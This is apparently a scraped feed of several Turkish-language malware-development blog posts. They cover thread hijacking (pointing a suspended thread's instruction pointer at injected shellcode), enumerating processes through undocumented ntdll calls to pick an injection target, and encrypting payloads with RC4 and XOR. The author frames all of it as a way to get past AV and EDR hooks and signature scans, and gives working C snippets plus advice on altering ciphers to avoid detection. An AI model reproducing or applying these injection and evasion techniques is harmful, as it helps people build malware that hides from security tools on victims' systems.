%lu\\n\u0026#34;, GetLastError()); return FALSE; } Sıradaki API\u0026rsquo;miz GetThreadContext. Bu fonksiyon, duraklatılmış olan hedef thread\u0026rsquo;in mevcut durumunu (register değerlerini) alır ve az önce oluşturduğumuz boş ctx yapısının içine doldurur. Thread\u0026rsquo;in rotasını değiştirmeden önce mevcut durumunun bir fotoğrafını çekiyoruz diyebiliriz. Eğer bu okuma işlemi başarısız olursa hata basıp çıkıyoruz.\nİşin kalbinin attığı ve asıl manipülasyonun yapıldığı yer ise burası:\n#ifdef _WIN64 ctx.Rip = (DWORD64)remoteCodeAddr; #elif defined(_WIN32) ctx.Eip = (DWORD)(ULONG_PTR)remoteCodeAddr; #else #error \u0026#34;Unsupported architecture\u0026#34; #endif Bir CPU\u0026rsquo;da bir sonraki çalıştırılacak olan komutun bellek adresini tutan çok özel bir register vardır. Bu, 64-bit sistemlerde RIP (Instruction Pointer), 32-bit sistemlerde ise EIP olarak adlandırılır.\nBiz burada, GetThreadContext ile içini doldurduğumuz ctx yapısındaki Rip veya Eip değerini tamamen eziyoruz. Yerine de kendi zararlı kodumuzun bulunduğu bellek adresini (remoteCodeAddr) yazıyoruz. İçerideki #ifdef blokları ise kodun derlendiği mimariye (32-bit veya 64-bit) göre doğru register\u0026rsquo;ın seçilmesini garantiliyor.\nif (!SetThreadContext(hTargetThread, \u0026amp;ctx)) { printf(\u0026#34;Oops! SetThreadContext failed. ^_^: %lu\\n\u0026#34;, GetLastError()); return FALSE; } } Son vuruş: GetThreadContext ile okuduk, ctx.Rip ile hedef adresi kendi kodumuzla değiştirdik. Şimdi bu manipüle edilmiş, üzerinde oynanmış yapıyı tekrar thread\u0026rsquo;e geri yüklememiz gerekiyor. SetThreadContext tam olarak bunu yapar.\nBu API başarılı olduğunda, thread\u0026rsquo;in beynindeki \u0026ldquo;bir sonraki çalıştırılacak komut\u0026rdquo; adresi artık bizim payload\u0026rsquo;umuzun adresidir. Artık tek yapmamız gereken bu duraklatılmış thread\u0026rsquo;i (ResumeThread ile) uyandırmak. Thread uyandığı saniye, orijinal programın entry point\u0026rsquo;ine gitmek yerine doğrudan bizim gösterdiğimiz adresten çalışmaya başlayacaktır.\nArtık son zincir ise bu şekilde son buluyor:\nGetThreadContext ile Thread ın o anki içini kaydet. #ifdef blokları ile 32-bit mi 64-bit mi diye kontrol et. SetThreadContext ile düzenlenmiş Threadi geri yükle . Görüldüğü üzere bu konu aslında kendi shellcode/payload\u0026rsquo;ımızı (artık ne isim verirseniz) nasıl çalıştırabiliriz ? diye bize ekstra bir yöntem sunuyor. Bu işlemi tamamen bu şekilde hayal etmek yerine daha da farklılaştırıp bambaşka şekilde de kendi kodumuzu çalıştırabiliriz diye düşünmek faydalı. Zira bu metin boyunca sadece bir yöntem değil aslında bir zararlı yazılım kendi sınırları dışına çıkıp neler yapabilir ? bunlarıda görmüş olduk.\nNot:Kodun tamamını isterseniz malware-development-library adresinden bulabilirsiniz. Konumuz bu kadardı okuduğunuz için teşekkürler.\n","permalink":"https://0xgently.github.io/posts/thread_hijacking/","summary":"\u003ch2 id=\"remote_thread_creation\"\u003eRemote_Thread_Creation\u003c/h2\u003e\n\u003cp\u003eBu yazımızda; meşru bir procesesi askıya alıp, bellek alanına shellcode enjekte ettikten sonra mevcut thread\u0026rsquo;in  RIP/EIP registerlarını manipüle ederek çalışan bir teknikten bahsedeceğim.\u003c/p\u003e\n\u003cp\u003eSiber güvenlik dünyasında, hedef bir proses içerisinde kod çalıştırmak için genellikle \u003ccode\u003eCreateRemoteThread\u003c/code\u003e gibi API\u0026rsquo;ler tercih edilir. Ancak bu fonksiyonlar güvenlik mekanizmaları (AV/EDR) tarafından çok sıkı izlenir ve anında engellenir. Thread Hijacking ise sıfırdan yeni ve şüpheli bir thread oluşturmak yerine, halihazırda var olan meşru bir thread\u0026rsquo;in rotasını \u0026ldquo;çalmayı\u0026rdquo; hedefler.\u003c/p\u003e","title":"Thread Hijacking"},{"content":"Process Enumeration Hedefin PID Değerini Bulmak (NtQuerySystemInformation) Zararlı yazılım geliştirirken (malware dev), payload\u0026rsquo;umuzu bellekte saklamak veya Birçok Execute tekniklerini stabil bir şekilde çalıştırabilmek için genellikle sistemde zaten var olan meşru bir process\u0026rsquo;e (örneğin notepad.exe, explorer.exe veya svchost.exe) ihtiyaç duyarız.\nİşte tam bu noktada, sistemde o an aktif olan süreçleri listeleyip hedefimizin PID değerini koparmaya veya süreçler hakkında telemetry toplamaya genel olarak Process Enumeration diyoruz. Bir önceki yazımızda, Windows’un standart EnumProcesses API\u0026rsquo;sini kullanarak bu işlemi sıfırdan nasıl yapacağımıza adım adım bakmıştık. Ancak siber güvenlik dünyasında her zaman daha karmaşık daha öğrenilmesi zor yollar var\u0026hellip;\nBu yazıda ise rotamızı çok daha derine kırıp, doğrudan ntdll.dll içerisinde saklanan belgelenmemiş (undocumented) NtQuerySystemInformation fonksiyonuna çeviriyoruz. Bunu yapmamızın sebebi ise AV ve EDR gibi güvenlik mekanizmaları. Modern güvenlik ürünleri, Windows\u0026rsquo;un yüksek seviyeli (high-level) DLL dosyalarına ve API\u0026rsquo;lerine hook atarak onları çok sıkı izler. Hatta sadece izlemekle kalmaz, şüpheli gördükleri çağrıları yeri geldiğinde manipüle edip operasyonumuzu daha başlamadan baltalayabilirler. İşte bu yüzden, bu kancalara yakalanmamak ve tespit radarlarının altından uçabilmek için ne kadar low-level takılırsak o kadar iyi.\nİlk adım, ntdll modülünün handle\u0026rsquo;ını almak:\nHMODULE hNtdll = GetModuleHandleW(L\u0026#34;ntdll.dll\u0026#34;); Burada LoadLibrary kullanmıyoruz çünkü ntdll.dll her process\u0026rsquo;te zaten belleğe yüklü durumda — Windows\u0026rsquo;ta hiçbir process onsuz başlayamıyor. GetModuleHandle sadece zaten yüklü olan modülün referansını veriyor, ekstra bir yükleme işlemi gerekmiyor.\nİkinci adımda fonksiyonun adresini çözümlüyoruz:\nPFN_NtQuerySystemInformation NtQuerySystemInformation = (PFN_NtQuerySystemInformation)GetProcAddress(hNtdll, \u0026#34;NtQuerySystemInformation\u0026#34;); Bu fonksiyon resmi olarak Microsoft tarafından dokümante edilmediği için statik olarak linklenemiyor — ntdll.lib içinde ismen var ama prototipi header dosyalarında eksik ya da hiç yok. Bu yüzden fonksiyonu çalışma zamanında, kendi tanımladığımız bir function pointer tipiyle çözümlememiz gerekiyor:\ntypedef NTSTATUS (NTAPI *PFN_NtQuerySystemInformation)( ULONG, PVOID, ULONG, PULONG); Bu satırda derleyiciye henüz resmi olarak tanımadığı bu fonksiyonun şablonunu öğretiyoruz. Parametre parametre ne işe yaradığına bakarsak:\ntypedef NTSTATUS (NTAPI *PFN_NtQuerySystemInformation): Derleyiciye, geriye NTSTATUS (hata/başarı kodu) döndüren PFN_NtQuerySystemInformation adında yeni bir fonksiyon tipi tanımladığımızı söyler. 1. Parametre (ULONG): Kernel\u0026rsquo;dan hangi tür sistem bilgisini istediğimizi belirttiğimiz sayıdır. Biz süreç listesini çekmek için SystemProcessInformation yani 5 değerini göndereceğiz. 2. Parametre (PVOID): Kernel\u0026rsquo;ın sistem bilgilerini içerisine yazacağı, bizim önceden ayırdığımız boş bellek alanının (Buffer) adresidir. 3. Parametre (ULONG): Kernel\u0026rsquo;a verdiğimiz bu bellek alanının byte cinsinden boyutudur. 4. Parametre (PULONG): Eğer verdiğimiz bellek miktarı yetersiz kalırsa, Windows kernel\u0026rsquo;ının bize \u0026ldquo;Bana aslında şu kadar byte bellek gerekiyor\u0026rdquo; diye gerçek ihtiyacını yazıp geri fırlatacağı değişkenin adresidir. GetProcAddress başarısız dönerse, (yani ntdll.dlldosyasını bulamamak veya hedef fonksiyonu bulamamak veya herhangi bir problem olursa) fonksiyonu hiç kullanmadan direkt çıkış yapıyoruz.\nif (!NtQuerySystemInformation) return FALSE; Bu kontrol pratikte neredeyse hiç tetiklenmiyor çünkü ntdll ve bu fonksiyon Windows\u0026rsquo;un her sürümünde mevcut, ama savunmacı programlama açısından atlanmaması gereken bir adım.\nNtQuerySystemInformation\u0026lsquo;ı çağırmadan önce karşımıza çıkan ilk zorluk şu: sistemdeki tüm süreçlerin bilgisini tutacak buffer alanının ne kadar büyük olması gerektiğini önceden bilmiyoruz. Sistemde o an kaç süreç çalıştığı sürekli değişebiliyor, dolayısıyla \u0026ldquo;şu an N tane süreç var, ona göre N kere struct boyutunda bellek ayırayım\u0026rdquo; mantığı kurulamaz. Hatta ve hatta daha biz buffer alanını oluştururken sistem içerisinde yeni processler de başlayabilir.\nBu problemi çözmek için dene-büyüt-tekrar dene mantığıyla çalışan bir döngü kuruyoruz. Önce makul bir başlangıç boyutu belirliyoruz:\nULONG size = 1 \u0026lt;\u0026lt; 16; // 64 KB başlangıç tahmini PVOID buffer = NULL; NTSTATUS status; Döngünün her adımında önce bir önceki tamponu serbest bırakıp yenisini ayırıyoruz:\ndo { if (buffer) HeapFree(GetProcessHeap(), 0, buffer); buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); if (!buffer) return FALSE; HeapAlloc kullanıyoruz, malloc değil — çünkü doğrudan process heap\u0026rsquo;i üzerinde çalışıyoruz ve HEAP_ZERO_MEMORY flag\u0026rsquo;i ile ayrılan belleği sıfırlıyoruz, bu da struct içindeki kullanılmayan alanların rastgele değerler taşımasını engelliyor.\nArdından asıl çağrıyı yapıyoruz:\nstatus = NtQuerySystemInformation(SystemProcessInformation, buffer, size, \u0026amp;size); if (status == STATUS_INFO_LENGTH_MISMATCH) size += (1 \u0026lt;\u0026lt; 14); } while (status == STATUS_INFO_LENGTH_MISMATCH); Burada iki kritik nokta var. Birincisi, size parametresinin hem girdi hem çıktı olarak kullanılması: fonksiyona \u0026ldquo;bu kadar yerim var\u0026rdquo; diye gönderiyoruz (3. parametre), fonksiyon da \u0026ldquo;bana aslında bu kadar yer lazımdı\u0026rdquo; diye aynı değişkene yazıyor(4. parametre). İkincisi, STATUS_INFO_LENGTH_MISMATCH durumunda sadece fonksiyonun bildirdiği boyutu değil, üzerine ekstra 16 KB daha ekliyoruz. Bunun nedeni şu: Biz bu döngüyü çalıştırdığımız zaman birkaç milisaniye içinde bile sistemde yeni süreçler başlamış olabilir, dolayısıyla tam ihtiyaç duyulan boyutu versek bile bir sonraki çağrıda yine yetersiz kalma ihtimali var. Bu pay, ikinci bir mismatch turunu büyük ölçüde önlüyor.\nDöngü, STATUS_INFO_LENGTH_MISMATCH dönmeyi bıraktığında sona eriyor. Son olarak gerçek bir hata durumunu kontrol ediyoruz:\nif (!NT_SUCCESS(status)) { HeapFree(GetProcessHeap(), 0, buffer); return FALSE; } NT_SUCCESS makrosu, NTSTATUS değerinin başarı aralığında olup olmadığını kontrol ediyor. Tabi burada hata dönerse, daha önce ayırdığımız alanı serbest bırakmayı unutmuyoruz.\nBu noktada elimizde buffer içinde tüm sistem süreçlerinin bilgisini tutan, doğru boyutlandırılmış bir bellek alanı var.\nNtQuerySystemInformation\u0026lsquo;dan dönen veri, klasik bir dizi değil. Her SYSTEM_PROCESS_INFORMATION kaydı ve bir sonraki kayda byte cinsinden ofseti kendi içinde taşıyor. Yani aslında elimizde linked-list mantığıyla çalışan, ama bellek üzerinde art arda duran bir yapı var. İlk elemana işaret ederek başlıyoruz:\nPSYSTEM_PROCESS_INFORMATION entry = (PSYSTEM_PROCESS_INFORMATION)buffer; Ve sonsuz döngü içinde NextEntryOffset alanını kullanarak ilerliyoruz:\nif (entry-\u0026gt;NextEntryOffset == 0) break; entry = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)entry + entry-\u0026gt;NextEntryOffset); NextEntryOffset sıfır olduğunda listenin son elemanına geldiğimiz anlamına geliyor, döngüden çıkıyoruz. Burada işaretçi aritmetiğini PBYTE\u0026lsquo;a cast ederek yapıyoruz, çünkü ofset byte cinsinden veriliyor. entry tipinde pointer aritmetiği yapsaydık struct boyutu kadar atlardık, ki bu yanlış olurdu.\nHer kayıt içinde sürecin adı ImageName alanında bir UNICODE_STRING olarak tutuluyor. Karşılaştırmayı yapmadan önce bir güvenlik kontrolü gerekiyor, çünkü Idle ve System gibi bazı özel süreçlerde bu alan boş olabiliyor:\nif (entry-\u0026gt;ImageName.Buffer \u0026amp;\u0026amp; _wcsicmp(entry-\u0026gt;ImageName.Buffer, target_name) == 0) { _wcsicmp kullanıyoruz çünkü karşılaştırma case-insensitive olmalı. Windows dosya sistemi büyük/küçük harf duyarsız çalışıyor, dolayısıyla System.exe ile system.exe aynı süreç olarak değerlendirilecek.\nİsim eşleşmesi tek başına yeterli değil. Biri C:\\Users\\Public\\notepad.exe gibi bir yere, sistem sürecininkiyle birebir aynı isimde bir binary koyarsa, sadece isme bakan bir kontrol bunu meşru bir hizmet sanır. Bu yüzden eşleşen her PID için gerçek disk yolunu da doğruluyoruz.\nÖnce PID\u0026rsquo;yi struct\u0026rsquo;tan çıkarıyoruz:\nDWORD pid = (DWORD)(ULONG_PTR)entry-\u0026gt;UniqueProcessId; UniqueProcessId aslında bir HANDLE tipinde tanımlı ama gerçekte bir PID değeri taşıyor. Bu yüzden önce ULONG_PTR\u0026lsquo;a, sonra DWORD\u0026lsquo;a cast ediyoruz.\nPath bilgisini almak için süreci açmamız gerekiyor, ama burada en kritik kurallardan birine geliyoruz: asla PROCESS_ALL_ACCESS istemiyoruz.\nHANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); PROCESS_QUERY_LIMITED_INFORMATION, Windows Vista ile gelen ve sürece herhangi bir müdahale izni vermeyen, sadece sorgulama amaçlı en düşük seviye erişim hakkı. QueryFullProcessImageNameW gibi fonksiyonlar için bu yeterli. PROCESS_ALL_ACCESS istemek hem gereksiz hem de normal bir programın neden bu kadar geniş yetkiye ihtiyaç duyduğu şüphesini doğurur ki bu olmaması gereken bir durum.\nHandle başarıyla açıldıysa, gerçek disk yolunu sorguluyoruz:\nWCHAR path[MAX_PATH]; DWORD len = MAX_PATH; if (QueryFullProcessImageNameW(hProc, 0, path, \u0026amp;len) \u0026amp;\u0026amp; _wcsnicmp(path, sysDir, sysDirLen) == 0 \u0026amp;\u0026amp; path[sysDirLen] == L\u0026#39;\\\\\u0026#39;) { *out_pid = pid; found = TRUE; } Burada iki şartı birden arıyoruz: İlk olarak _wcsnicmp fonksiyonuyla dosya yolunun (path) başlangıcının sysDir (yani C:\\Windows\\System32) ile uyuşup uyuşmadığına bakıyoruz. Hemen ardından ise path[sysDirLen] konumunda bir \\ karakteri gelip gelmediğini kontrol ediyoruz.\nEğer bu ikinci kontrolü yapmazsak, basit bir string eşleşmesini aldatmak için oluşturulmuş C:\\Windows\\System32Config\\update.exe veya C:\\Windows\\System32-Drivers\\update.exe gibi yollar da prefix (önek) eşleşmesinden dolayı bu filtreden kaçabilir. Karakter sınırının bittiği noktada doğrudan \\ bulunması, sürecin benzer isimli başka bir klasörde değil, gerçekten o sistem dizininin içerisinde çalıştığını garanti eder.\nHandle\u0026rsquo;ı işimiz biter bitmez kapatıyoruz, döngünün geri kalanına taşımıyoruz:\nCloseHandle(hProc); Kodun tamamını isterseniz malware-development-library adresinden bulabilirsiniz. Konumuz bu kadardı okuduğunuz için teşekkürler.\n","permalink":"https://0xgently.github.io/posts/ntquerysysteminformation/","summary":"\u003ch2 id=\"process-enumeration\"\u003eProcess Enumeration\u003c/h2\u003e\n\u003ch3 id=\"hedefin-pid-değerini-bulmak-ntquerysysteminformation\"\u003eHedefin PID Değerini Bulmak (NtQuerySystemInformation)\u003c/h3\u003e\n\u003cp\u003eZararlı yazılım geliştirirken (malware dev), payload\u0026rsquo;umuzu bellekte saklamak veya \u003cstrong\u003eBirçok\u003c/strong\u003e Execute tekniklerini stabil bir şekilde çalıştırabilmek için genellikle sistemde zaten var olan meşru bir process\u0026rsquo;e (örneğin \u003ccode\u003enotepad.exe\u003c/code\u003e, \u003ccode\u003eexplorer.exe\u003c/code\u003e veya \u003ccode\u003esvchost.exe\u003c/code\u003e) ihtiyaç duyarız.\u003c/p\u003e\n\u003cp\u003eİşte tam bu noktada, sistemde o an aktif olan süreçleri listeleyip hedefimizin PID değerini koparmaya veya süreçler hakkında telemetry toplamaya genel olarak \u003cstrong\u003eProcess Enumeration\u003c/strong\u003e diyoruz. Bir önceki yazımızda, Windows’un standart \u003ccode\u003eEnumProcesses\u003c/code\u003e API\u0026rsquo;sini kullanarak bu işlemi sıfırdan nasıl yapacağımıza adım adım bakmıştık. Ancak siber güvenlik dünyasında her zaman daha karmaşık daha öğrenilmesi zor yollar var\u0026hellip;\u003c/p\u003e","title":"Process Enumeration-3"},{"content":"RC4 Şifrelemesi RC4, veriyi bloklar halinde değil, bayt bayt şifreleyen simetrik bir akış şifrelemesi (stream cipher) algoritmasıdır. Arka planda iki temel aşamadan oluşur: Anahtarın bellekte karıştırıldığı KSA (Key-Scheduling Algorithm) ve şifrelenecek verinin üzerine yazılacak rastgele baytların üretildiği PRGA (Pseudo-Random Generation Algorithm). Simetrik yapısı sayesinde aynı fonksiyon hem şifreleme hem de deşifreleme için kullanılır.\nZararlı yazılım geliştirmede RC4\u0026rsquo;ü koda entegre etmek için temelde 3 yöntem kullanılır:\nSystemFunction032: Advapi32.dll içerisinde bulunan, Windows tarafından belgelenmemiş (undocumented) RC4 API\u0026rsquo;sidir.\nSystemFunction033: SystemFunction032 ile birebir aynı parametreleri alan ve aynı işlemi yapan alternatif belgelenmemiş API\u0026rsquo;dir. Aralarında pratikte hiçbir fark yoktur.\nCustom RC4: Herhangi bir Windows API\u0026rsquo;sine bağlı kalmadan algoritmanın sıfırdan yazıldığı yöntemdir.\nAşağıdaki yapı, Windows\u0026rsquo;un içindeki SystemFunction032 (veya 033) kullanılarak nasıl bu işlemi yapabiliriz onu göstermektedir.\n1. Gerekli Structlar SystemFunction032 belgelenmemiş bir API olduğu için doğrudan bir byte dizisi (PBYTE) kabul etmez. Kendi içerisinde USTRING (veya UNICODE_STRING/ANSI_STRING) benzeri belirli bir struct yapısı bekler.\ntypedef struct _RC4_CTX { DWORD BufferSize; DWORD MaxBufferSize; PVOID pBufferData; } RC4_CTX, *PRC4_CTX; Kodda _RC4_CTX olarak tanımlanan bu struct, API\u0026rsquo;nin beklediği bellek düzenini sağlar. Hem şifreleme anahtarı (key) hem de hedef veri (payload) işlemden geçirilmeden önce bu struct formatına sarılmak zorundadır.\n2. Execution Flow Bu yöntemde API doğrudan dahil edilmez (Import Table\u0026rsquo;da görünmemesi için). Bunun yerine dinamik olarak resolve edilir:\ntypedef NTSTATUS(WINAPI* PFN_SYS_FUNC_032)(PRC4_CTX pData, PRC4_CTX pKey); API\u0026rsquo;nin bellek adresi bulunduğunda onu tetikleyebilmek için uygun bir fonksiyon pointer\u0026rsquo;ı (PFN_SYS_FUNC_032) tanımlanır.\nİşlem Zinciri:\nStruct Hazırlığı: rc4Key ve rc4Data değişkenleri oluşturularak, ham bellek adresleri ve boyutları yukarıda tanımlanan struct içerisine yerleştirilir. RC4_CTX rc4Key = { keySize, keySize, keyBuffer }; RC4_CTX rc4Data = { payloadSize, payloadSize, payloadBuffer }; DLL Yükleme: LoadLibraryA(\u0026quot;Advapi32.dll\u0026quot;) ile API\u0026rsquo;yi barındıran kütüphane process belleğine çekilir. HMODULE hLib = LoadLibraryA(\u0026#34;Advapi32.dll\u0026#34;); Adres Çözümleme: GetProcAddress ile SystemFunction032\u0026lsquo;nin bellekteki tam konumu bulunur.\nPFN_SYS_FUNC_032 SysFunc032 = (PFN_SYS_FUNC_032)GetProcAddress(hLib, \u0026#34;SystemFunction032\u0026#34;); Çalıştırma: Bulunan adres ilgili fonksiyon pointer\u0026rsquo;ına dönüştürülür ve çalıştırılır:\nSysFunc032(\u0026amp;rc4Data, \u0026amp;rc4Key) İşlem sonucunda payloadBuffer içindeki veri bellekte doğrudan şifrelenmiş (veya zaten şifreliyse çözülmüş) olur.\nŞimdi ise Custom olarak rc4 şifrelemeyi nasıl yapacağımıza bakalım.\nCustom RC4 API Hooking gibi Blue Team engellerine takılmamak için en güvenli yöntem, RC4 algoritmasını hiçbir dış DLL\u0026rsquo;e veya Windows API\u0026rsquo;sine ihtiyaç duymadan sıfırdan koda gömmektir.\nNot: Aşağıda incelenen RC4 algoritmasının temel C implementasyonu https://www.oryx-embedded.com/doc/rc4_8c_source.html Oryx Embedded tarafından geliştirilen açık kaynaklı CycloneCRYPTO kütüphanesinden alınmıştır.\nRC4 algoritması matematiksel olarak iki ana (fonksiyondan) oluşur. Tüm işlem, S-box adı verilen 256 baytlık bir durum dizisi (state array) üzerinde gerçekleşir.\nÖncelikle bu şifreleme işlemi sırasında değerleri hafızada tutabilmek için kendimize bir yapı (struct) hazırlıyoruz:\ntypedef struct _RC4_STATE { unsigned char stateArray[256]; int iter1; int iter2; } RC4_STATE; stateArray[256]: Tüm şifreleme/çözme işleminin üzerinden döneceği, 256 baytlık asıl tablomuz (S-box).\niter1 ve iter2: Az sonra döngülerde kullanacağımız ve nerede kaldığımızı takip edecek olan basit sayaçlar.\nTabloyu Hazırlama ve Karıştırma (KSA) Struct\u0026rsquo;ımızı oluşturduktan sonra PrepareRc4 fonksiyonu ile asıl işleme geçiyoruz. Bu fonksiyon bizden şifrelemeyi başlatmak için 3 temel bilgi istiyor: Doldurulacak boş tablomuz (rc4Obj), belirlediğimiz şifre (secretKey) ve bu şifrenin uzunluğu (keySize).\nvoid PrepareRc4(RC4_STATE* rc4Obj, const unsigned char* secretKey, size_t keySize) { int i, j = 0; unsigned char temp; // 1. Adım: Tabloyu Sıralı Doldurma for (i = 0; i \u0026lt; 256; i++) { rc4Obj-\u0026gt;stateArray[i] = i; } // 2. Adım: Şifre ile Tabloyu Karıştırma for (i = 0; i \u0026lt; 256; i++) { // Matematiksel karıştırma formülü j = (j + rc4Obj-\u0026gt;stateArray[i] + secretKey[i % keySize]) % 256; // Swap (Yer Değiştirme) işlemi temp = rc4Obj-\u0026gt;stateArray[i]; rc4Obj-\u0026gt;stateArray[i] = rc4Obj-\u0026gt;stateArray[j]; rc4Obj-\u0026gt;stateArray[j] = temp; } } Bu kod blokları adım adım ne yapıyor?\nİlk Adım (Deste Dizme): 256 baytlık stateArray tablomuzun içini sırayla 0, 1, 2... 255 sayılarıyla dolduruyoruz. Bunu henüz karıştırılmamış, yeni açılmış sıralı bir iskambil destesi gibi düşünebilirsiniz.\nİkinci Adım (Desteyi Karma): Karmaşık görünen asıl kısım burasıdır. Kod, az önce oluşturduğumuz o sıralı desteyi alır ve bizim verdiğimiz secretKey\u0026lsquo;i kullanarak matematiksel olarak karmakarışık hale getirir.\nFormül (j = ...), destedeki elemanların bizim şifremize göre rastgele bir indeks üretmesini sağlar. % 256 yapılması, dizinin boyutundan (256) dışarı taşıp programı çökertmemesi içindir.\nHemen altındaki temp değişkeniyle yapılan işlem ise klasik bir Swap (Yer Değiştirme) hareketidir. Seçilen iki sayının tablodaki yerleri birbiriyle değiştirilir.\nPrepareRc4 fonksiyonu işini bitirdiğinde, elimizde bizim secretKey\u0026lsquo;imize özel olarak tamamen rastgele dizilmiş, entropisi yüksek 256 baytlık bir stateArray tablosu oluşur.\nŞifreleme Fonksiyonu (PRGA) Bir önceki evrede tablomuzu (destemizi) hazırlayıp şifremize göre karmakarışık hale getirmiştik. Şimdi Rc4Cipher fonksiyonu ile asıl verimizi şifreleme aşamasına geçiyoruz.\n1. Adım: Context Restore\nvoid Rc4Cipher(RC4_STATE* rc4Obj, const unsigned char* input, unsigned char* output, size_t length) { unsigned char temp; unsigned int i = rc4Obj-\u0026gt;iter1; unsigned int j = rc4Obj-\u0026gt;iter2; unsigned char* s = rc4Obj-\u0026gt;stateArray; Burada yaptığımız şey çok basit: KSA evresinde oluşturduğumuz o karmakarışık tabloyu (s) ve nerede kaldığımızı tutan sayaçları (i ve j) struct\u0026rsquo;ın içinden çekip alıyoruz.\n2. Adım: Encryption Loop Şimdi ise yukarıda tamamladığımız hazırlıktan sonra asıl payloadı şifreleyecek kısma geçiş yapıyoruz\n// Asıl Şifreleme/Çözme Döngüsü while (length \u0026gt; 0) { // 1. Adım: İndeksleri Kaydırma i = (i + 1) % 256; j = (j + s[i]) % 256; // 2. Adım: Swap (Desteyi karıştırmaya devam et) temp = s[i]; s[i] = s[j]; s[j] = temp; // 3. Adım: Rastgele Bayt Üretme ve XOR İşlemi *output = *input ^ s[(s[i] + s[j]) % 256]; // 4. Adım: Sonraki bayta geçiş input++; output++; length--; } // İşlem bittiğinde son durumu struct içine geri kaydediyoruz rc4Obj-\u0026gt;iter1 = i; rc4Obj-\u0026gt;iter2 = j; } İşte bu döngü adım adım şöyle çalışıyor:\nKaydırma ve Swap: Döngü her döndüğünde, o hazırladığımız karışık deste sabit kalmaz. i ve j sayaçları ilerler ve tablonun içindeki iki eleman sürekli birbiriyle yer değiştirir (Swap). Yani şifreleme işlemi boyunca destemiz karıştırılmaya devam eder. XOR ile Şifreleme: Kodun kalbi *output = *input ^ s[(s[i] + s[j]) % 256]; satırıdır. Tablodan tamamen rastgele görünen bir bayt çekilir ve zararlı yazılımımızın o anki baytı (*input) ile XOR işlemine sokulur. Çıkan şifreli sonuç direkt output alanına yazılır. Kaydetme: İşlem bittiğinde (tüm payload şifrelendiğinde), sayaçların (i ve j) son hali tekrar struct\u0026rsquo;a kaydedilir ki, ileride bu fonksiyona tekrar işimiz düşerse destede nerede kaldığımızı bilelim. Bu şekilde aslında custom olarak kendi RC4 fonksiyonumuzun temel iskeletini oluşturduk. Bundan sonrasında kodda ekstra değişiklikler yapmak veya kodun tamamını okuyabilmek için yukarıdaki paylaşmış olduğum CycloneCRYPTO kütüphanesine bakabilirsiniz.\nNOT: Güvenlik yazılımlarının standart RC4 döngü imzalarını tespit etmesini zorlaştırmak için algoritma üzerinde küçük modifikasyonlar yapılabilir. Örneğin, S-box boyutu 256 yerine 512 yapılabilir veya XOR işleminden hemen sonra her bayta +1 eklemek ya da bit kaydırmak (Bitwise Rotation) gibi Custom XOR yöntemleri eklenerek statik analiz motorlarının işi daha da zorlaştırılabilir.\n","permalink":"https://0xgently.github.io/posts/rc4/","summary":"\u003ch2 id=\"rc4-şifrelemesi\"\u003eRC4 Şifrelemesi\u003c/h2\u003e\n\u003cp\u003eRC4, veriyi bloklar halinde değil, bayt bayt şifreleyen simetrik bir akış şifrelemesi (stream cipher) algoritmasıdır. Arka planda iki temel aşamadan oluşur: Anahtarın bellekte karıştırıldığı \u003cstrong\u003eKSA (Key-Scheduling Algorithm)\u003c/strong\u003e ve şifrelenecek verinin üzerine yazılacak rastgele baytların üretildiği \u003cstrong\u003ePRGA (Pseudo-Random Generation Algorithm)\u003c/strong\u003e. Simetrik yapısı sayesinde aynı fonksiyon hem şifreleme hem de deşifreleme için kullanılır.\u003c/p\u003e\n\u003cp\u003eZararlı yazılım geliştirmede RC4\u0026rsquo;ü koda entegre etmek için temelde 3 yöntem kullanılır:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eSystemFunction032:\u003c/strong\u003e \u003ccode\u003eAdvapi32.dll\u003c/code\u003e içerisinde bulunan, Windows tarafından belgelenmemiş (undocumented) RC4 API\u0026rsquo;sidir.\u003c/p\u003e","title":"RC4 Şifreleme"},{"content":"XOR Şifrelemesi Malware geliştirme dünyasında, yazdığınız zararlı yazılımın ömrünü belirleyen en kritik faktörlerden biri payload\u0026rsquo;unuzu ne kadar iyi gizleyebildiğinizdir. Eğer bir shellcode\u0026rsquo;u veya PE dosyasını belleğe açık (plain-text) bir şekilde gömerseniz, statik analiz araçları ve Antivirüs (AV) imzaları saniyeler içinde sizi yakalayacaktır.\nİşte tam bu noktada Payload Encryption devreye girer. Bu yazımızda, zararlı yazılım dünyasının en temel ama en çok modifiye edilen şifreleme mantıklarından birini, XOR algoritmasını inceleyeceğiz. İşi temelden alıp kompleks (Rolling/Position-Dependent) yapılara doğru evrilteceğiz.\nNot: Bu metinde anlattığım kodun tamamını malware-development-library adresinde bulabilirsiniz\nXOR (Exclusive OR) XOR operatörü (^), kriptografide ve zararlı yazılım geliştirmede vazgeçilmezdir çünkü simetriktir. Yani bir veriyi şifrelemek ve o veriyi çözmek için aynı fonksiyonu kullanırsınız.\nVeri ^ Anahtar = Şifreli Veri\nŞifreli Veri ^ Anahtar = Veri\nBu durum, malware geliştiricisine inanılmaz bir esneklik ve kod tasarrufu sağlar. Ekstra bir \u0026ldquo;şifre çözücü\u0026rdquo; (decryptor) algoritması yazmanıza gerek kalmaz. Şimdi bu mantığın koda nasıl döküldüğüne bakalım.\nSingle-Byte Key XOR İşe en basit haliyle, tek bir bayt (Single-Byte) kullanarak tüm payload\u0026rsquo;u şifreleyen fonksiyonumuzla başlayalım.\nstatic VOID SingleKeyXor(IN PBYTE pPayload, IN SIZE_T sPayloadSize, IN const BYTE bXorKey) { for (size_t x = 0; x \u0026lt; sPayloadSize; x++) { pPayload[x] = pPayload[x] ^ bXorKey; } } Bu fonksiyon üç basit parametre alıyor:\npPayload: Şifrelenecek (veya çözülecek) verinin bellek adresi. sPayloadSize: Verinin toplam boyutu. bXorKey: İşlemi gerçekleştireceğimiz tek baytlık anahtarımız (Örn: 0xAA). Buradaki mantık düz ve basittir: Bir for döngüsü oluşturulur ve payload\u0026rsquo;un başından sonuna kadar tek tek ilerlenir. Her bir bayt, bizim belirlediğimiz bXorKey ile XOR işlemine sokulur ve eski yerine geri yazılır. Bu yöntem AV\u0026rsquo;lerin statik imza taramalarından (signature-based detection) kaçmak için başlangıçta işe yarasa da, günümüzde oldukça yetersizdir. Çünkü tek baytlık bir anahtar kullandığınızda, payload içindeki birbirini tekrar eden baytlar (örneğin arka arkaya gelen 0x00 null 